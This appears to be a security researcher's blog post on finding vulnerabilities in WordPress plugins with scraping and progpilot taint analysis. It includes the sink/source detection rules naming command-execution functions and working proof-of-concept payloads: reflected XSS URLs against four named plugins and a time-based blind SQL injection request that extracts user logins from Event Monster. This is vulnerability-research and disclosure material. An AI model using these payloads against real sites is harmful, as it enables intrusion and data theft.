Hello today we are going to see how it is possible to make CVE fall like snow at Christmas or during a Parisian party. To do this, we will look at Wordpress plugins. We will look for vulnerabilities in an automated way using static analysis (taint analysis). Taint analysis is a process used to identify the flow of user input into a system in order to understand the security implications of the system design.

We will divide our work into three parts:

  • Web scraping (wordpress.org) & plugins download
  • Static analysis (taint analysis)
  • Sorting results

Don’t worry everything that will be presented is super simple and can be implemented quickly.

Web scraping & plugins download

For this part it is simply a matter of scraping the Wordpress site to retrieve the URLs in order to download the latest version of the plugins. In order not to download all the plugins (which can be done but takes time) I use the search feature to filter the results. This allows me to target only those that have certain features.

Example:

  • File management
  • Backup of Wordpress
  • Management of a contact list
  • Etc.

So I present you our first tool wp-plugin-finder:

$ python3 run.py -h
usage: run.py [-h] query

positional arguments:
  query       Query to filter plugins.

options:
  -h, --help  show this help message and exit

Example:

$ python3 run.py "contacts"
[*] Search URL: https://wordpress.org/plugins/search/contacts/
[*] Extracting informations ...
[+] 51 pages identified.
[*] Parsing URL: https://wordpress.org/plugins/search/contacts/page/1/
[*] Parsing URL: https://wordpress.org/plugins/search/contacts/page/2/

...

[+] 994 plugins identified.
[+] Plugin: ninja-beaver-lite-addons-for-beaver-builder, full name: ninja-beaver-lite-addons-for-beaver-builder.2.4.5.zip,  version: 2.4.5
[+] Plugin: user-login-history, full name: user-login-history.2.1.0.zip,  version: 2.1.0
[+] Plugin: connector-for-woocommerce-and-zoho-crm, full name: connector-for-woocommerce-and-zoho-crm.1.1.2.zip,  version: 1.1.2
[+] Plugin: wp-plugin-manager, full name: wp-plugin-manager.1.1.7.zip,  version: 1.1.7
[+] Filename: kanban, full filename: kanban.zip,  version: latest
[+] Plugin: contact-forms, full name: contact-forms.1.4.13.zip,  version: 1.4.13
[+] Filename: wp-ticket, full filename: wp-ticket.zip,  version: latest

...

This gives us the following result:

alt-text

Static analysis (taint analysis)

We now have a folder (eg. /tmp/Plugins/) that contains all the plugins we are interested in, with the source code of the latests versions available. The scope being huge we can’t do an audit of each plugins, we’ll use progpilot to performs static analysis of the PHP code, then we will audit the plugins detected as having vulnerabilities. progpilot is a tool for PHP static analysis, but it is up to us to define the rules like data sources and dangerous functions (sinks).

Here are the rules we have defined to configure progpilot within our second tool wp-plugin-scanner:

Sources

File: wp-plugin-scanner/sources.json

{
    "sources": [
        {"name": "_GET", "is_array": true, "language": "php"},
        {"name": "_POST", "is_array": true, "language": "php"},
        {"name": "_REQUEST", "is_array": true, "language": "php"},
        {"name": "_FILES", "is_array": true, "language": "php"},
        {"name": "_COOKIE", "is_array": true, "language": "php"},
        {"name": "_SERVERS", "is_array": true, "language": "php"},
        {"name": "HTTP_GET_VARS", "is_array": true, "language": "php"},
        {"name": "HTTP_POST_VARS", "is_array": true, "language": "php"},
        {"name": "HTTP_COOKIE_VARS", "is_array": true, "language": "php"},
        {"name": "HTTP_REQUEST_VARS", "is_array": true, "language": "php"}
    ]
}

Sinks

File: wp-plugin-scanner/sinks.json

{
    "sinks": [
        {"name": "ldap_search", "parameters": [{"id": 3}], "language": "php", "attack": "LDAP Injection", "cwe": ""},


        {"name": "mysql_query", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "mysql_unbuffered_query", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "mysql_db_query", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "mysqli_query", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "mysqli_real_query", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "mysqli_master_query", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "mysqli_multi_query", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "mysqli_stmt_execute", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "mysqli_execute", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "query", "instanceof": "mysqli", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "multi_query", "instanceof": "mysqli", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "real_query", "instanceof": "mysqli", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "execute", "instanceof": "mysqli", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "db2_exec", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "pg_query", "language": "php", "attack": "SQL Injection", "cwe": ""},
        {"name": "pg_send_query", "language": "php", "attack": "SQL Injection", "cwe": ""},

        {"name": "query", "instanceof": "wpdb", "language": "php", "attack": "SQL Injection (WordPress)", "cwe": ""},
        {"name": "get_var", "instanceof": "wpdb", "language": "php", "attack": "SQL Injection (WordPress)", "cwe": ""},
        {"name": "get_row", "instanceof": "wpdb", "language": "php", "attack": "SQL Injection (WordPress)", "cwe": ""},
        {"name": "get_col", "instanceof": "wpdb", "language": "php", "attack": "SQL Injection (WordPress)", "cwe": ""},
        {"name": "get_results", "instanceof": "wpdb", "language": "php", "attack": "SQL Injection (WordPress)", "cwe": ""},
        {"name": "replace", "instanceof": "wpdb", "language": "php", "attack": "SQL Injection (WordPress)", "cwe": ""},


        {"name": "fopen", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "unlink", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "file_get_contents", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "file_put_contents", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "fprintf", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "fgets", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "fgetc", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "fscanf", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "file", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "require", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "require_once", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "include", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "include_once", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "move_uploaded_file", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromgd2", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromgd2part", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromgd", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromgif", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromjpeg", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefrompng", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromstring", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromwbmp", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromxbm", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "imagecreatefromxpm", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "readfile", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},
        {"name": "highlight_file", "language": "php", "attack": "Remote File Inclusion, Local File Inclusion, Directory Traversal, Path Traversal, Unserialize (via phar://)", "cwe": ""},

        {"name": "copy", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "file_exists", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "fileatime", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "filectime", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "filegroup", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "fileinode", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "filemtime", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "fileowner", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "fileperms", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "filesize", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "filetype", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "is_dir", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "is_executable", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "is_file", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "is_link", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "is_readable", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "is_writable", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "lstat", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "mkdir", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "parse_ini_file", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "rename", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "rmdir", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "stat", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "touch", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},
        {"name": "unlink", "language": "php", "attack": "Unserialize (via phar://)", "cwe": ""},


        {"name": "passthru", "language": "php", "attack": "Remote Command Execution", "cwe": ""},
        {"name": "system", "language": "php", "attack": "Remote Command Execution", "cwe": ""},
        {"name": "shell_exec", "language": "php", "attack": "Remote Command Execution", "cwe": ""},
        {"name": "exec", "language": "php", "attack": "Remote Command Execution", "cwe": ""},
        {"name": "pcntl_exec", "language": "php", "attack": "Remote Command Execution", "cwe": ""},
        {"name": "popen", "language": "php", "attack": "Remote Command Execution", "cwe": ""},
        {"name": "proc_open", "language": "php", "attack": "Remote Command Execution", "cwe": ""},


        {"name": "eval", "language": "php", "attack": "PHP Code Execution", "cwe": ""},
        {"name": "call_user_func", "language": "php", "attack": "PHP Code Execution", "cwe": ""},
        {"name": "call_user_func_array", "language": "php", "attack": "PHP Code Execution", "cwe": ""},
        {"name": "preg_replace", "parameters": [{"id": 2}], "language": "php", "attack": "PHP Code Execution", "cwe": ""},


        {"name": "echo", "language": "php", "attack": "Cross Site Scripting", "cwe": ""},
        {"name": "print", "language": "php", "attack": "Cross Site Scripting", "cwe": ""},
        {"name": "printf", "language": "php", "attack": "Cross Site Scripting", "cwe": ""},
        {"name": "die", "language": "php", "attack": "Cross Site Scripting", "cwe": ""},
        {"name": "error", "language": "php", "attack": "Cross Site Scripting", "cwe": ""},
        {"name": "exit", "language": "php", "attack": "Cross Site Scripting", "cwe": ""},


        {"name": "unserialize", "language": "php", "attack": "PHP Object Injection", "cwe": ""},
        {"name": "maybe_unserialize", "language": "php", "attack": "PHP Object Injection", "cwe": ""}
        ]
}

This gives once launched:

alt-text

Sorting results

Now we just have to read the reports from folder wp-plugin-scanner/Reports and detect the real vulnerabilities from the false positives.

Examples

Wordpress plugin, All in One Time Clock Lite <= 1.3.320, Reflected XSS (pre-auth)

How?

/wp-content/plugins/aio-time-clock-lite/templates/error.php?message=%3Cscript%3Ealert(1)%3C/script%3E

alt-text

Why?

File: wp-content/plugins/aio-time-clock-lite/templates/error.php

<?php 
if (isset($_GET["message"])){
    echo $_GET["message"];
}
?>

Wordpress plugin, Contractor Contact Form Website to Workflow Tool <= 3.0.9, Reflected XSS (post-auth)

How?

/wp-admin/admin.php?page=jp_admin_page&error[message]=%3Cscript%3Ealert(1)%3C/script%3E

alt-text

Why?

File: wp-content/plugins/contractor-contact-form-website-to-workflow-tool/connect-form.php

<?php if(ine($_GET, 'error')): ?>
<div class="alert-msg alert-msg-danger invalid-msg"><?php echo $_GET['error']['message'];?></div>
<?php endif; ?>
<form method="get" action="<?php echo JP_AUTHORIZATION_URL;?>" class="jp-btn-connect">

<input type="hidden" name="domain" value="<?php echo $domain; ?>">
<input type="hidden" name="redirect_uri" value="<?php echo $redirect_url; ?>">
<input type="hidden" name="client_id" value="<?php echo JP_CLIENT_ID ;?>"/>
<input type="hidden" name="client_secret" value="<?php echo JP_CLIENT_SECRET; ?>"/>
<?php wp_nonce_field('jp_connect_form'); ?>
<input type="hidden" name="grant_type" value="password"/>
<input class="btn btn-blue" type="submit" value="Connect">
</form>

Wordpress plugin, Event Monster <= 1.1.20, SQL injection (post-auth)

Plugin URL: https://fr.wordpress.org/plugins/event-monster/

Report: event-monster.report

How?

POST <BASE_URL>/wp-admin/edit.php?post_type=awl_event_monster&page=em-visitors-page HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: wordpress_<ID>=<VALUE>
Content-Length: 155

&action=deletevisitor&id=1 AND IF ((SELECT (SELECT SUBSTR(BIN(ASCII(SUBSTR(user_login, 1, 1))), 1, 1) from wp_551_users where ID=1)=1), SLEEP(5), SLEEP(0))

With this time based SQL injection, we only need 8 queries to determine the value of a character (because we perform a bit to bit comparison).

alt-text

alt-text

Why?

File: wp-content/plugins/event-monster/em-ajax-prossesing/em-visitor-ajax.php

<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}
if ( isset( $_POST['action'] ) ) {
    $action = $_POST['action'];
    global $wpdb;
    $attendees_table = $wpdb->prefix . 'em_attendees';
    if ( $action == 'deletevisitor' ) {
        $id = $_POST['id'];
        if ( $wpdb->query( "DELETE FROM `$attendees_table` WHERE id = $id " ) ) {
            echo 'Record has been deleted';
        }
    }

    ...


Wordpress plugin, Catalog Importer, Scraper & Crawler <= 5.1.3, Reflected XSS (post-auth)

How?

/wp-admin/tools.php?page=megaimporter&testExtraction=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

alt-text

Why?

File: wp-content/plugins/intelligent-importer/megaimporter.php


...

</p><br>
To automatize, use this CRON command :<br>
java -jar <?php echo plugin_dir_path( __FILE__ ); ?>applet/run.jar <?php echo get_home_url().'/?megaimporter_communication=1&clef='.get_option('megaimporter_clefacces').' '.
@$_GET['testExtraction'];
?>
  </fieldset>
</form>

...

Wordpress plugin, Zotpress <= 7.3.1.2, Reflected XSS (pre-auth)

How?

/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?reset=true&return_uri=AAAA%22%0A%3C/script%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E

alt-text

Why?

File: wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php


  ...

  switch($state['oauthState'])
  {
    case 0:
        // State 0 - Get request token from Zotero and redirect user to Zotero to authorize
        $oauth->disableSSLChecks();
        try{
            $request_token_info = $oauth->getRequestToken($request_token_endpoint, $callbackUrl);
        }
        catch(OAuthException $E){
            echo "Problem getting request token<br />";
            echo $E->lastResponse; echo "<br />";
            die;
        }
        save_request_token($request_token_info, $state);

        // Send the user off to the provider to authorize your request token (could also be a link the user follows)
        $redirectUrl = "{$zotero_authorize_endpoint}?oauth_token={$request_token_info['oauth_token']}";
        wp_redirect($redirectUrl, 301);

        $redirect = '
                <script type="text/javascript" src="'.$_GET['return_uri'].'/wp-content/plugins/zotpress/js/jquery-1.5.2.min.js"></script>
                <script type="text/javascript">

                jQuery(document).ready(function()
                {
                    jQuery("body").addClass("zp-Modal");
                });

            </script>';
        echo "<p>Redirecting to Zotero to authenticate.</p>";
        echo $redirect;

        ...

Conclusion

alt-text

With these tools you will be able to get a lot of CVEs in couple of minutes and become famous on Twitter.

Congratulations!

References